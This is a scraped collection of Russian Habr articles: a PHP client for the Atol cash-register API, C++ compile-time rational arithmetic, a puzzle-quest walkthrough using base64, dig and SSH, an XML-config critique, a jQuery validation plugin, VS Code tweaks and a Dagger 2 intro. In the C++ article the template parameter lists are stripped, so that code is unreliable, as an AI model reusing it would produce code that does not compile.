А дальше приведу рабочий вариант, он подходит для тех ситуаций, когда оплата только одним методом, а не так что часть налом и часть безналом, еще в нем используется система налогообложения по умолчанию, еще не высчитывается НДС, хотел дописать код, потом выкладывать, но думаю остались еще такие люди, которым до 1 июля эта информация нужнее, чем после. Сразу скажу, что класс требует доработки, много сырого, нет обработки ошибок, всё сделано за пару часов без учета чтения документации, данный код больше как пример и советую очень детально изучить [**документацию**](http://integration.atol.ru/api/#json-tasks) и адаптировать под ваши конкретные процессы.
**код на php для примера работы с api (использовать только в учебных целях)**
```
php
Class AtolWebDriver
{
protected $addr="127.0.0.1",$port="16732";
public $timeout = 30; //таймаут соединений
public $operator;
function __construct($addr=false,$port=false)
{
if ($addr!==false) $this-addr=$addr;
if ($port!==false) $this->port=$port;
}
public function CallAPI($method, $data,$_url="/requests")
{
$url = "http://".$this->addr.":".$this->port.$_url;
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl,CURLOPT_TIMEOUT, $this->timeout);
$headers = ['Content-Type: application/json'];
curl_setopt($curl,CURLOPT_HTTPHEADER, $headers);
curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($curl, CURLOPT_POSTFIELDS, json_encode($data));
$resp = curl_exec($curl);
$data = json_decode($resp,1);
$code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);
$res= [$data,$code,$resp];
print_r($res);
return $res;
}
//получает результат задания
public function get_res($uuid)
{
$ready = false;
$cnt=0;
$res_url = '/requests/'.$uuid;
while (!$ready && ++$cnt<60)
{
usleep(500000); //подождем чуть, прежде чем просить ответ
list($res,$code,$resp) = $this->CallAPI('GET',[],$res_url);
$ready = ($res['results'][0]['status'] == 'ready');
if ($ready) return $res;
}
return false; //не удалось получить результата
}
//создает задание
public function add_req($uuid,$req)
{
return $this->CallAPI('POST', ['uuid'=>$uuid,'request'=>$req]);
}
//генерирует уникальный id для задания
public function gen_uuid()
{
return exec('uuidgen -r');
}
//выполняет задание и возвращает его результат
public function atol_task($type,$req=[])
{
$req['type'] = $type;
$uuid = $this->gen_uuid();
$req = $this->add_req($uuid,$req);
if ($req[1]!='201') return false; //ошибка добавления
$res = $this->get_res($uuid);
//ошибка результата
if ($res===false || !isset($res['results'][0])) return false;
return $res['results'][0];
}
/*дальше уже идут конкретные задачи*/
//статус смены
public function get_shift_status()
{
$res = $this->atol_task('getShiftStatus');
if ($res===false) return false;
//closed / opened / expired
return $res['result']['shiftStatus']['state'];
}
//открытие смены
public function open_shift()
{
$status = $this->get_shift_status();
//eсли истекла, то надо закрыть
if ($status=="expired") $this->close_shift();
if ($status=="opened") return "Не могу открыть открытую смену";
$res = $this->atol_task('openShift',['operator'=>$this->operator]);
}
//закрытие смены
public function close_shift()
{
$status = $this->get_shift_status();
if ($status=="closed") return "Не могу закрыть закрытую смену";
$res = $this->atol_task('closeShift',['operator'=>$this->operator]);
}
public function items_prepare($items)
{
$res_items = [];
$summ = 0;
while ($item = array_shift($items))
{
$res_item = $item;
if (!isset($item['type']))
$res_item['type']="position";
if (isset($item['price']) && isset($item['quantity']))
{
$res_item['amount'] = $item['price']*$item['quantity'];
$res_item['tax'] = ['type'=>'none'];
$summ+=$res_item['amount'];
}
$res_items[] = $res_item;
}
return [$res_items,$summ];
}
//продажа sell, возврат sellReturn
public function fiskal($type_op="sell",$items,$pay_type="cash")
{
$data = [];
$data['operator'] = $this->operator;
$data['payments'] = [];
list($data['items'],$summ) = $this->items_prepare($items);
//+++тут может быть несколько типов оплаты одновременно
$data['payments'][] = ['type'=>$pay_type,'sum'=>$summ];
$res = $this->atol_task($type_op,$data);
}
}
//тут передается ip где крутится web-сервис драйвера Атол, можно еще и порт передать
$atol = new AtolWebDriver('192.168.100.10');
//тут надо фио кассира
$atol->operator = ['name'=>'сист.администратор'];
//составляем массив товаров с количеством и ценой
$items = [];
$items[] = ['name'=>'Пакет полиэтиленовый','price'=>0.7,'quantity'=>1];
$items[] = ['name'=>'Пакет бумажный','price'=>0.4,'quantity'=>1];
//открываем смену
$atol->open_shift();
//продаем товары
$atol->fiskal("sell",$items);
sleep(10); //немного подождем, чтобы успеть оторвать чек
//а теперь сделаем возврат всего этого, т.к. это просто проверка
$atol->fiskal("sellReturn",$items);
//еще подождем перед огромным чеком
sleep(20);
//закрываем смену, печатаем отчет
$atol->close_shift();
```
Тут есть такие недоработки, которые я еще поправлю
1. Округление дробей при подсчете сумм, нужно округлять до копеек, иначе можно получить 1.000000001 или 0.999999999
2. При правильном написании остальной логики программы такое обычно не возникает, но в ходе тестов я поймал себя на том, что задание вернуло результат error, а я ждал ready
Ну и в процессе внедрения боюсь еще много ошибок поймать, вот к примеру, если задание долго висит в статусе wait, то лучше его удалить из очереди, иначе последующие задания зависнут на несколько минут, я такой глюк поймал один раз, уже не надеялся что распечатает и тут сижу сижу, а оно хоп и напечатало сразу два чека подряд отправленных раннее…
В целом можно и с сайта в будущем собирать эквайринги, если в них не будет онлайн-чеков, пока не определились какой эквайринг привинтить. Но решение такое, больше наверно как идея для решения, время покажет как приживется эта касса.
**Предупреждение**, тем, кто невнимательно прочитал статью и не очень компетентен в вопросе безопасности — **данный веб-сервис не имеет шифрования (https), не имеет авторизации**, даже если это используется только в локальной сети — настройте защиту на доступ к порту.
### UPD: документация
Уважаемые читатели, каждый третий спрашивает — где я брал документацию, где можно почитать обо всех методах и их свойствах. Слово «документация» в статье кликабельное и ведет на официальную документацию. | https://habr.com/ru/post/457684/ | null | ru | null |
# Вычисления с плавающей точкой на этапе компиляции
Как известно, в C++ нельзя производить сложные вычисления с плавающей точкой на стадии компиляции. Я решил попробовать избавиться от этого досадного недостатка. Цель, к которой мы будем идти, на примере вычисления корня:
```
typedef RATIONAL(2,0) x;
typedef sqrt::type result;
```
Корень числа вычислится на этапе компиляции. Представление числа хранится как отношение двух целых чисел, поэтому чтобы получить значение, нужно обращаться через метод get();
```
std::cout << result::get() << std::endl;
```
1.41421356
Для хранения чисел с плавающей точкой будем использовать соотношение
двух целых чисел — дробь.
```
template
struct rational\_t
{
const static int64\_t a = A, b = B;
static double get() { return (double)a/b; }
};
```
Например, чтобы объявить число 2, нужно объявить тип rational\_t<2,1> (две первых),
```
rational_t<3,2> -> 3/2
rational_t<56,10> -> 56/10 = 5.6
rational_t<3,100> -> 3/100 = 0.03
```
Для удобства будем использовать хитрый макрос RATIONAL:
```
#define RATIONAL(A1, A2) rational_t<(int)(A1##A2), pow<10, sizeof(#A2)-1>::value>
```
Рассмотрим его на примере: RATIONAL(12,34) — объявляет дробь 12.34 (12 целых 34 сотых)
```
1) A1##A2 склеивает два аргумента в 1234
2) sizeof(#A2)-1 = sizeof("34")-1 = 3 - 1 = 2
3) pow<10, 2>::value = 10 в степени 2 = 100
```
Таким образом, RATIONAL(12,34) объявляет тип rational\_t<1234, 100> (то есть 1234/100 = 12.34)
Функция pow пишется так:
```
template
struct pow
{
const static int value = V \* pow::value;
};
template
struct pow
{
const static int value = 1;
};
```
Опишем арифметические операции для шаблона rational\_t.
Сложение дробей: a1/b1 + a2/b2 = (a1\*b2 + a2\*b1)/(b1\*b2), следовательно:
```
template
struct plus
{
typedef rational\_t type;
};
```
При постоянном сложении числитель и знаменатель будут постоянно по модулю расти. Чтобы не произошло переполнение при очередном сложении, необходимо дробь сокращать. Перепишем функцию сложения:
```
template
struct plus
{
typedef rational\_t type1;
typedef typename reduce::type type;
};
```
Метафункция reduce принимает несокращенную дробь и возвращает сокращенную. Приведём остальные операции:
```
template
struct minus
{
typedef rational\_t type1;
typedef typename reduce::type type;
};
template
struct mult
{
typedef rational\_t type1;
typedef typename reduce::type type;
};
template
struct divide
{
typedef rational\_t type1;
typedef typename reduce::type type;
};
```
Операция сравнения:
```
template
struct less
{
static const bool value = (R1::a \* R2::b - R2::a \* R1::b) < 0;
};
```
Определим метафункцию, определяющую необходимость сокращения. Максимальное допустимое число для хранения в 64-битном формате будет (2^64)^0.5/2 = 1ll<<31, следовательно:
```
template
struct require\_reduce
{
const static int64\_t max = (1ll<<31);
const static bool value = (R::a >= max) || (R::b >= max);
};
```
value означает необходимость сокращения дроби, иначе может произойти переполнение при выполнении операции.
Дробь нужно сначала сокращать точно — по делимости на НОД (reduce\_accurate),
если сокращение не удалось, то сокращать неточно, деля числитель и
знаменатель нацело на 2 (reduce\_inaccurate).
Объявим метафункцию аккуратного сокращения:
```
template
struct reduce\_accurate;
```
Неаккуратное сокращение, после него делается попытка снова сократить
аккуратно, если, конечно, это требуется:
```
template
struct reduce\_inaccurate
{
typedef rational\_t<(R::a >> 1), (R::b >> 1)> type\_;
typedef typename reduce\_accurate::value, type\_>::type type;
};
```
Если не требуется, то неаккуратное сокращение возвращает то же значение:
```
template
struct reduce\_inaccurate
{
typedef R type;
};
```
Для аккуратного сокращения в комментариях предложили использовать НОД, с ним оказалось быстрее, хотя ожидалось, что нет.
Вычисление НОД(спасибо [gribozavr](http://habrahabr.ru/users/gribozavr/)):
```
template
struct gcd;
template
struct gcd
{
static const int64\_t value = a;
};
template
struct gcd
{
static const int64\_t value = gcd::value;
};
```
Функция сокращения делит числитель и знаменатель на НОД и, если необходимо, выполняет неточное сокращение.
```
template
struct reduce\_accurate
{
template
struct reduce\_accurate
{
const static int64\_t new\_a = R::a / gcd::value;
const static int64\_t new\_b = R::b / gcd::value;
typedef rational\_t new\_type;
typedef typename reduce\_inaccurate::value, new\_type>::type type;
};
};
```
Если точного сокращения не достаточно, то выполнить неточное сокращение:
```
template
struct reduce\_accurate
{
typedef typename reduce\_inaccurate::value, R>::type type;
};
```
Перейдём к самому интересному, напишем алгоритм вычисления корня по методу Ньютона.
Эта реализация не претендует на точность и приведена в качестве примера.
```
основной алгоритм:
sqrt_eval(p, res, x) {
t1 = x/res
t2 = res+t1
tmp = t2/2
if (p-1 == 0)
return tmp;
return sqrt_eval(p-1, tmp, x)
}
```
С использованием rational\_t:
```
template
struct sqrt\_eval
{
typedef typename divide::type t1;
typedef typename plus::type t2;
typedef typename divide >::type tmp;
typedef typename sqrt\_eval::type type;
};
template
struct sqrt\_eval<0, res, x>
{
typedef res type;
};
```
```
sqrt(x) {
res = (x + 1)/2
return sqrt_eval(15, res, x)
}
```
15 — кол-во шагов в алгоритме Ньютона.
```
template
struct sqrt
{
typedef typename divide< typename plus >::type, rational\_t<2,1> >::type res;
typedef typename sqrt\_eval<15, res, x>::type type;
};
template
struct sqrt< rational\_t<0, a> >
{
static const int64\_t value = 0;
};
```
Пример:
```
#include
#include "rational\_algo.hpp"
int main()
{
std::cout.precision(15);
const double s = rational::sqrt::type::get();
std::cout << s << std::endl;
std::cout << 2-s\*s << std::endl;
return 0;
}
```
Пример цельным файлом: [pastebin.com/ea7S2KTd](http://pastebin.com/ea7S2KTd)
Проектом: [github.com/korkov/rational](https://github.com/korkov/rational)
UPD: это обновлённая версия, спасибо всем за советы и исправления. | https://habr.com/ru/post/124963/ | null | ru | null |
# Итоги квеста, который вы прошли. Или нет
Привет, Хабр!
Подводим итоги [квеста](https://habr.com/company/e-Legion/blog/420873/) от [MBLT DEV 2018](https://mbltdev.ru/ru?utm_source=habr&utm_medium=quiz_results): разбираем задания и дарим подарки — билеты на конференцию, подписки на все продукты JetBrains и сертификаты Skyeng самым удачливым.
Знаем, что вам пришлось поломать голову. Автор ваших мучений — [damnerd](https://habr.com/ru/users/damnerd/). Рассказываем, что же он придумал, и как вы должны были решать задания.
Вход в квест
------------
По традиции спрятали его в [видео](https://youtu.be/7QNSFxT7bfk). Даже на обычной скорости просмотра можно было увидеть шифр, в такт с музыкой проскакивающий на одной из сцен видео:
Хотя некоторые ринулись записывать декоративные буквы из другой сцены:
Переписываем шифр и получаем: aHR0 cHM6 Ly9t Ymx0 ZGV2 LnJ1 L3J1 L3F1 aXo=
Увидев на конце знак `=`, моментально понимаем, что это строка, закодированная в формате base64. Недолго думая, выполняем
```
echo 'aHR0 cHM6 Ly9t Ymx0 ZGV2 LnJ1 L3J1 L3F1 aXo=' | base64 --decode
```
(либо гуглим base64 decode online) и получаем линк на вход в квест: <https://mbltdev.ru/ru/quiz>
В принципе, URL остался таким же, как в прошлый раз, ибо программисты оказались ленивыми и не поменяли его. Ходят слухи, что были и такие, кто «угадал» линку по памяти, либо показав свой скилл экстрасенсорики.
Задание 1
---------
Нужно было перейти по ссылке и написать, название какой команды мы оставили в подсказке. При переходе мы показали картинку:
Тут всё довольно просто: Source = исходный код. Смотрим, что в нём:
Здесь мы не стали запутывать человека каким-либо обфусцированным кодом или чем-то подобным, а вместо этого на самом видном месте самым очевидным способом (словами коровы) выдали подсказку. Как оказалось, наша попытка привлечь внимание обернулась для некоторых наоборот отвлечением внимания от подсказки. Многие в качестве ответа на вопрос вводили команду `cowsay`, которая генерирует подобную ASCII-графику. Однако смотреть надо было именно на текст: It’s in the name. Dig it?! Имя команды было непосредственно в самой подсказке: **dig**. Собственно, имя команды мы и просили (потому что саму команду можно выполнить с одинаковым успехом при разном наборе параметров, а программисты ленивые и система проверки ответов глупая), так что это и было ответом на первый вопрос.
Задание 2
---------
После выполнения команды “dig” нужно было увидеть подсказку, с помощью которой можно перейти к следующему шагу. Мы попросили написать её значение.
Возвращаясь к подсказке из прошлого задания, помимо слова dig, рядом стояло слово name, несущее в себе смысл domain name. Пососедству стоящие name и dig наводят на следующий шаг: необходимость поковырять (или покверить, если угодно) доменные записи для имени, где лежит страница с подсказкой. Конечно, по-умолчанию dig запрашивает A-запись, в которой ничего нет, кроме основной записи с IP-адресом. Надо было догадаться, что запросить необходимо TXT-запись:
```
> dig +nocmd +noall +answer q1.mbltdev.ru txt
q1.mbltdev.ru. 10108 IN TXT "quest@95.163.108.79:10022"
```
Либо загуглить dig online и воспользоваться простой веб-мордой, не читая маны по дигу:
Непосредственно значение этой текстовой записи и было как ответом на задание, так и подсказкой к следующему действию — зайти по SSH на хост `95.163.108.79` под пользователем `quest` на порт `10022`: ssh quest@95.163.108.79 -p 10022.
Задание 3
---------
Мы загадали ребус о том, что общего у Android и iOS. Попросили вычислить пароль и ввести его.
Многие писали, что это слишком сложно. Но это ребус в квесте, который никто не может пройти! Но вообще всё было в тексте, даже слово Parent.
Пересечение android и apple → OS
Прародитель их ОС → Unix
lowercase(Unix) → unix
sha1(unix) → **d13bbbd92b83ddaad994a12bd9d20dfba5fff139**
```
> echo -n "unix" | shasum
d13bbbd92b83ddaad994a12bd9d20dfba5fff139 -
```
Как обычно, можно было загуглить sha1 online и вычислить сумму, не отходя от кассы.
Задание 4
---------
Всё, что понадобилось для выполнения этого задания, лежало в домашней директории. Мы просили получить следующую подсказку после введения пароля из Задания 3 и написать её значение.
На этом этапе многие хотели сдаться и писали нам гневные комменты, но в действительности всё было очень просто.
В домашней директории лежит всего 4 файла, два из которых не при делах — `.profile` и `.bashrc` были почти полностью дефолтными для нового пользователя конфигами. Оставалось два файла с «пустым» названием. Кстати, даже SSH MOTD намекал на это своей фразой `/\s/`. Это не странный смайлик, а регулярное выражение для пробельного символа. В имени первого из файлов был символ обыкновенного пробела (U+0020: SPACE). Второго — необычный пробел из китайской письменности (U+3000 IDEOGRAPHIC SPACE).
У пользователей iTerm2 на Mac OS была дополнительная трудность: этот эмулятор не хотел копировать необычный пробел. Обычный Terminal без труда копировал символ, и можно было просто выполнять над ним команды простым ⌘C-⌘V. Но для пользователей кривых эмуляторов, а также любителей извращений, были и другие методы, например, сделать `ls -li`, чтобы узнать inode number файла, и дальше выполнять команды с помощью `find`:
```
find . -inum 660402 | xargs cat
```
Кстати, эта команда просто выплёвывает в терминал много пустых строк. Тут знающие люди сразу могли догадаться, что это листинг программы на языке Whitespace, загуглить whitespace interpreter online и получить следующую подсказку. Незнающие люди могли просто догадаться, что надо как-то совместить два файла, которые есть у них в распоряжении. Дополнительной подсказкой было, что один из этих файлов имеет флаг на исполнение (+x) и перловый шебенг. Так или иначе, выполнение программы выдавало ответ: **<http://q1.mbltdev.ru/q.webp>**
Задание 5
---------
В четвёртом задании мы спрятали ссылку <http://q1.mbltdev.ru/q.webp>. В пятом нужно было перейти по ней и ответить на вопрос.
Финальное задание было простым для разрядки обстановки. По данному URL’у была картинка в формате `tiff`, сохранённая с разрешением `webp`. Некоторые умные графические просмотрщики открывали её без вопросов. Некоторые не открывали. Но достаточно было спросить того, кто знает:
```
> file q.webp
q.webp: TIFF image data
> mv q.{webp,tiff}
```
В самой же картинке был простой вопрос:
Ответ: 0. [MBLT DEV](https://mbltdev.ru/ru?utm_source=habr&utm_medium=quiz_results) всегда проходит в Москве. В этом году встречаемся 28 сентября.
Кстати, говорят, некоторые находили картинку обходным путём. Это было возможно, если пошариться по серверу из 4-го задания, потому что и страничка из первого задания, и картинка из последнего, и задания 3 и 4 хостились на одной машине (не забывайте про лень разработчиков). Если вкратце:
```
quest@questmblt2018:~$ grep root /etc/nginx/sites-enabled/quest
root /var/www/html;
quest@questmblt2018:~$ ls /var/www/html/
index.html index.nginx-debian.html q.webp
```
Post Mortem
-----------
Кстати, о лени разработчиков: мы хоть и знали, что не обойдётся в подобном квесте без кулхацкеров, но поленились защититься от всех возможных проблем. Например, народ начал переписываться broadcast сообщениями, мешая другим проходить квест.
Был какой-то умелец, который закачал на сервер 15 ГБ данных, исчерпав место на диске. Конечно же нашлись и скрипт-киддисы, запускавшие форк-бомбы, ломающие логин для других пользователей. Ну и не обошлось без «спам»-ботов, пытавшихся, зная правильные ответы, застолбить себе побольше шансов в финальной лотерее.
Приносим свои извинения тем, кому помешали недобросовестные участники.
Подарки и победители
--------------------
3070 человек попытались пройти квест. Мы получили 666 ответов, почистили читеров, в итоге с квестом успешно справились 297 человек. Среди них мы и разыграли основные подарки.
Каждому участнику присвоили порядковый номер и с помощью [генератора случайных чисел](https://www.random.org/) разыграли призы. Записали видео с выбором победителей. Имейлы скрыты из соображений приватности.
### Билеты на конференцию мобильных разработчиков [MBLT DEV 2018](https://mbltdev.ru/ru?utm_source=habr&utm_medium=quiz_results)
Билеты получают Владислав Козлов, Дмитрий и Игорь.
### Годовые подписки на любой продукт [JetBrains](https://www.jetbrains.com/)
Подписки получают Павел Парфёнов, Вадим Скрипник и Андрей.
### 4 бесплатных занятия английским в онлайн-школе [Skyeng](http://skyeng.ru/go/MBLTDEV2018)
Сертификаты получают Сергей и Валентин.
### 2 бесплатных занятия английским в онлайн-школе [Skyeng](http://skyeng.ru/go/MBLTDEV2018)
Сертификаты получают Алексей и Евгений.
Остальным участникам квеста мы тоже отправили небольшие подарки. Проверяйте почты!
Встречаемся на MBLT DEV 2018
----------------------------
Конференция пройдёт 28 сентября в Москве. Участников ждут полезные доклады от разработчиков из Netflix, Uber, Revolut, Badoo и других компаний, нетворкинг и фан. Мы приготовили ещё несколько квестов с крутыми призами. Билеты доступны [на сайте MBLT DEV](https://mbltdev.ru/ru/registration?utm_source=habr&utm_medium=quiz_results). | https://habr.com/ru/post/422359/ | null | ru | null |
# конфиги: XML vs. API
Я считаю, что использование XML в конфигах — зло и малодушие. Далее попытаюсь обьяснить почему.
Почему пытаются использовать XML? «Потому, что не надо быть программистом, чтобы его редактировать». Но это чушь! Я не видел простых людей (не программистов), которые бы правили xml сами! Ни одна IDE не спасёт от того, что в один прекрасный день тебе придётся лезть руками в XML файл и править одни закорючки на другие.
Теперь давайте рассмотрим чем такое малодушие и промывание мозгов выливаются для таких простых разработчиков как я.
Основным минусом является то, что в XML конфигах нет возможности использовать давно знакомых и удобных ООП приёмов: наследованиия и полиморфизма.
Рассмотрим пример. Есть два web.xml файла, часть конфигурации (обьявления сервлетов, параметров, фильтров и тд) находится в одном, часть — в другом.
`xml version="1.0" encoding="UTF-8"?
filterA
ru.FilterA`
`xml version="1.0" encoding="UTF-8"?
filterB
ru.FilterB`
Так вот — средствами web.xml их НЕ ОБЬЕДИНИТЬ. Такая элементарная операция!..
Что бы я сделал если бы конфигурирование производилось путём вызова некоторого Factory метода? Я бы создал класс предок WebA
`public class WebA implements WebConfig {
...
}`
и класс потомок WebB
`public class WebB extends WebA {
...
}`
После этого всё, что нужно — создать свой конфиг:
ВСЁ! Это элементарная операция в Java (да что там — в любом ЯП) практически невыполнима в XML.
Конечно и XML формат можно развить настолько, что в нём можно будет делать почти всё то же самое, что и в обычном ЯП. Например в maven-овском POM формате предусмотрено некоторое «наследование для бедных», путём указания тэга «parent».
В принципе в maven-е ты можешь унаследовать такие вещи, как dependencies. Но вот то, что находится внутри тэга «build» — никуда не унаследуется! Просто разработчики формата так далеко не смотрят, для типичного проекта это не надо. А на практике это как правило выливается в использование copy-paste технологии.
Так какой из это всей херни следует вывод? Вывод такой — как только у тебя появляется конфиг чуть более сложный, чем указание factory метода — сразу переноси конфигурацию из XML в нормальный ЯП (заменяя Schema-у на API) иначе будешь постоянно мучаться, реализовывая все стандартные фишки языка программирования в своём XML формате. | https://habr.com/ru/post/42658/ | null | ru | null |
# lemongrab: плагин валидации веб-форм
Добрый день.
В этом топике я расскажу о удобном jQuery-плагине для валидации веб-форм, простом и мощном, при том — совершенно неизбыточном. Если вам не интересны подробности создания и сравнение с аналогами (точнее — с аналогом), смотрите конец топика, там ссылка на примеры и исходный код.
Некоторое время назад мне пришлось дорабатывать клиент-сайд ресурса, включающего просто невероятное количество анкетных форм. Одной из неприятных особенностей этих форм было жуткое количество разнотипных правил валидации ввода и ещё большее количество взаимосвязей между полями.
Пример: если выбран чекбокс А, то в поле Х можно ввести только цифры, а поле Y должно быть скрыто, но если дополнительно выбрана радиокнопка Z, то поле Y нужно показать, а в поле X можно ввести всё, кроме цифр.
Иными словами — сущий ад, рождённый нездоровым сознанием маркетологов.
Несмотря на то, что существует немалое количество способов валидации содержимого полей ввода (вплоть до стандартных браузерных… только, к сожалению, не кроссбраузерных), существовало только одно подходящее клиентское решение, позволявшее устанавливать **сложные** связи между **несколькими** полями — фреймворк [ZForms](http://zforms.ru/), который изначально и использовался на ресурсе. Пожалуй, на том, что он это умел, его плюсы и заканчивались, затем начинались сплошные минусы:
— Неочевидный и неудобный способ задания правил валидации в обработчике onclick (!). Существует ещё недокументированный способ задания этих правил через XML-подобные вставки напрямую в код страницы, но это ещё больший ужас.
— Фреймворк модифицирует DOM-дерево, при этом требуя особых условий к его структуре. Например, изменяемое при валидации свойство применяется не к полю, а… к его предку второго (!!) порядка, что нужно было учитывать при вёрстке.
— Валидируемые контролы, по сути, подменяются виджетами фреймворка, даже там, где это не требуется. В большинстве случаев это означает невозможность использования каких-либо других средств работы с полем. Не описать словами, сколько зла я сгенерировал, скрещивая ZForms с jQuery UI…
— Отвратительная событийная модель работы. ZForms работает только с событиями собственных виджетов, и подписаться можно также только на них. Доходило вплоть до того, что приходилось вешать проверку валидности на таймер.
— Куча багов (вылезающих, как обычно, уже на продакшене), исправлять которые приходилось влезая в минимизированный код фреймворка, либо костылируя этот код своим.
И, в конце концов, последняя версия ZForms вышла аж в 2009 году, и его jQuery-версия совсем не хотела работать с последними версиями библиотеки.
В общем, тут был явно тот случай, когда требовалось закатать рукава и решить задачу с нуля. Это я и сделал, написав jquery.lemongrab.
Основные идеи lemongrab таковы:
— Плагин не пытается быть чем-то, чем он не является. Он делает одну задачу, но делает это хорошо.
— Плагин использует возможности HTML5, при этом оставляя возможность работы на старых браузерах.
— Валидация задаётся максимально удобно для конкретного случая.
— Плагин не конфликтует с другими обработчиками.
Работа плагина тестировалась на всех современных и не очень браузерах, как десктопных, так и мобильных. В итоге, всё зависит от используемой версии jQuery — проблемы (впрочем, легко решённые) возникли только на IE младше 9 версии.
Что lemongrab может?
====================
— Плагин умеет проверять состояние любых полей ввода, и в зависимости от заданных правил, менять состояния элементов (этих же, или любых других). Изменяемые состояния: валидность, обязательность, доступность, видимость.
Если с доступностью и видимостью всё понятно (это, соответственно, атрибут enabled и css-свойство display), то про валидность и обязательность стоит объяснить. И то и другое подсмотрено в том же ZForms; по сути эти атрибуты — просто классы, добавляемые к полю в случае, если оно валидно/невалидно и в случае, если оно обязательно должно быть заполнено (в этом случае ещё добавляется HTML5-атрибут required). Плагин не даст сабмитить форму, в которой есть поля с такими атрибутами (хотя и это настраивается).
— У плагина простая и очевидная событийная модель. Произошло событие, скажем, какой-то элемент стал валиден, — для него сгенерировалось событие lemongrab.valid. Перестал быть валиден — сгенерировалось lemongrab.novalid.
— Правила задаются в JSON, который может быть прописан как непосредственно в data-атрибуте валидируемого элемента, так и загружен при инициализации плагина. Первое удобно задании правил непосредственно в коде страницы, последнее — при выносе правил в отдельный файл (ZForms, кстати, так не умеет).
— Для валидации могут использоваться простые свойства (например checked/unchecked для checkbox), регулярные выражения, состояния наборов полей, и даже jQuery-селекторы. В случае, если и этого не хватает, для проверки состояния можно использовать пользовательскую функцию.
— Количество правил для элемента неограничено, и комбинироваться они могут как угодно. Плагину можно задать логику совмещения правил (и/или/не), для более сложных вариантов есть всё те же пользовательские функции.
— В плагине куча всяких маленьких дополнительных плюшечек, описанных в документации.
Как это выглядит?
Парочка наглядных примеров:
Поле будет валидно (ему добавится класс ACCEPTABLE), в случае соответствия его содержимого регэкспу:
```
$("#sample").lemongrab();
```
Поле #id2 будет доступно для ввода, если выбрана вторая радиокнопка:
```
$("#sample1").lemongrab();
```
[Документация и интерактивные примеры](http://pozitronik.me/lemongrab).
С тех пор, как я написал эту штуку, жизнь моя стала прельстива и любовна, чего и вам желаю, а потому выкладываю код в открытый доступ: [репозиторий на github](https://github.com/pozitronik/jquery.lemongrab). | https://habr.com/ru/post/218559/ | null | ru | null |
# Твикаем VS Code: убираем визуальный шум, доводим до совершенства
 Как при помощи небольших твиков можно улучшить интерфейс VS Code, убрав ненужные визуальные элементы интерфейса.
---
### Содержание:
* Вступление
* Подготовка
* Основная часть
* Заключение
---
### Вступление
Обилие всевозможных тем для VS Code радует. На вкус и цвет недостатка в темах нет. Но что делать, если новые темы уже не вызывают восторга, а появляется желание скрыть тот или иной, не такой уж и нужный лично вам, элемент интерфейса. Попробуем сегодня в этом разобраться.
Давайте сначала посмотрим, к какому результату мы придём:
 Было скрыто много чего: горизонтальная и вертикальная полосы прокрутки, миникарта, нумерация строк, вкладки, статус бар, хлебные крошки, иконки и прочие, труднопереводимые на русский язык штуки.
### Подготовка
Если вы уже знаете, как обращаться с Settings.JSON, переходите к следующему разделу, нового тут нет ничего.
Для тех, кому это всё впервые, открываем файл настроек Settings.JSON:
Нажимаем комбинацию клавиш: CTRL+SHIFT+P
В выпавшем окне печатаем: "settings.json" и выбираем "Preferences: Open Settings(JSON)".
 Открывшийся файл настроек будет наподобие этого(у вас могут быть другие значения):
 В этот файл, в конец списка, через запятую мы и будем добавлять наши твики. Чтобы визуально разграничить наши твики от того, что уже было до нас в этом файле, добавьте пару пробелов и(или) комментарий, как показано ниже:
### Основная часть
**Убираем горизонтальную полосу прокрутки**
Твик:
```
"editor.scrollbar.horizontal": "hidden"
```
**Убираем вертикальную полосу прокрутки**
Твик:
```
"editor.scrollbar.vertical": "hidden"
```
**Избавляемся от миникарты**
Твик:
```
"editor.minimap.enabled": false
```
**Скрываем полосу рядом с вертикальной полосой прокрутки**
Твик:
```
"editor.overviewRulerBorder": false
```
**Скрываем нумерацию строк**
Твик:
```
"editor.lineNumbers": "off"
```
Если возникнет вопрос, как найти нужную строку(например десятую строку):
* Жмём CTRL+P
* Вбиваем двоеточие и номер строки
**Убираем Glyph Margin. Используется при дебаггинге**
Твик:
```
"editor.glyphMargin": false
```
**Перемещаем Side Bar и Activity Bar на правую сторону**
Твик:
```
"workbench.sideBar.location": "right"
```
**Скрываем Activity Bar**
Твик:
```
"workbench.activityBar.visible": false
```
* Показать скрыть Side Bar: CTRL+B
* Проводник файлов: CTRL+SHIFT+E
* Установки: CTRL+SHIFT+X
* Глобальный поиск: CTRL+SHIFT+F
**Cкрываем статус бар**
Твик:
```
"workbench.statusBar.visible": false
```
**Убираем иконки на вкладках и на "хлебных крошках"**
Твик:
```
"workbench.editor.showIcons": false
```
**Скрываем вкладки**
Твик:
```
"workbench.editor.showTabs": false
```
Навигация по вкладкам: CTRL+TAB
**Скрываем "хлебные крошки"**
Твик:
```
"breadcrumbs.enabled": false
```
**Скрываем визуальные границы функций**
Твик:
```
"editor.renderIndentGuides": false
```
**Избавляемся от подсветки строки, на которой установлен курсор**
Твик:
```
"editor.renderLineHighlight": "none"
```
Получилось довольно неплохо. Давайте сравним до и после:
### Заключение
Разумеется, для кастомизации можно и разных расширений поставить, позволяющих сделать это всё, и ещё много чего. Но, когда расширений итак уже десятки, то с определённого момента, каждое следующее расширение уже как гвоздь в крышку гроба производительности софтины.
Эти твики также применимы и к [веб версии](https://vscode.dev/) Visual Studio Code. По крайней мере те, что я пробовал.
Кстати, именно так выглядит моё рабочее пространство в VS Code, в котором я грокаю код и пишу статьи. | https://habr.com/ru/post/650561/ | null | ru | null |
# Дружественное введение в Dagger 2. Часть 2
#### Используем модули, чтобы указать, как должны создаваться объекты
В [предыдущей статье из этой серии](https://habrahabr.ru/post/307434/) мы рассмотрели, как Dagger 2 избавляет нас от рутины написания инициализирующего кода путем внедрения зависимостей.
Если помните, мы создали интерфейс, позволяющий фреймворку узнать, объекты каких классов требуются нашему методу *main*, а Dagger автоматически сгенерировал конкретный класс, способный инициализировать экземпляры этих классов за нас. Мы нигде не указывали, *как именно* создавать эти объекты или их зависимости. Поскольку все наши классы были конкретными и помечены соответстующими аннотациями, это не создавало проблем: Dagger из аннотаций мог сделать вывод, чьи конструкторы необходимы для создания экземпляра данного класса.
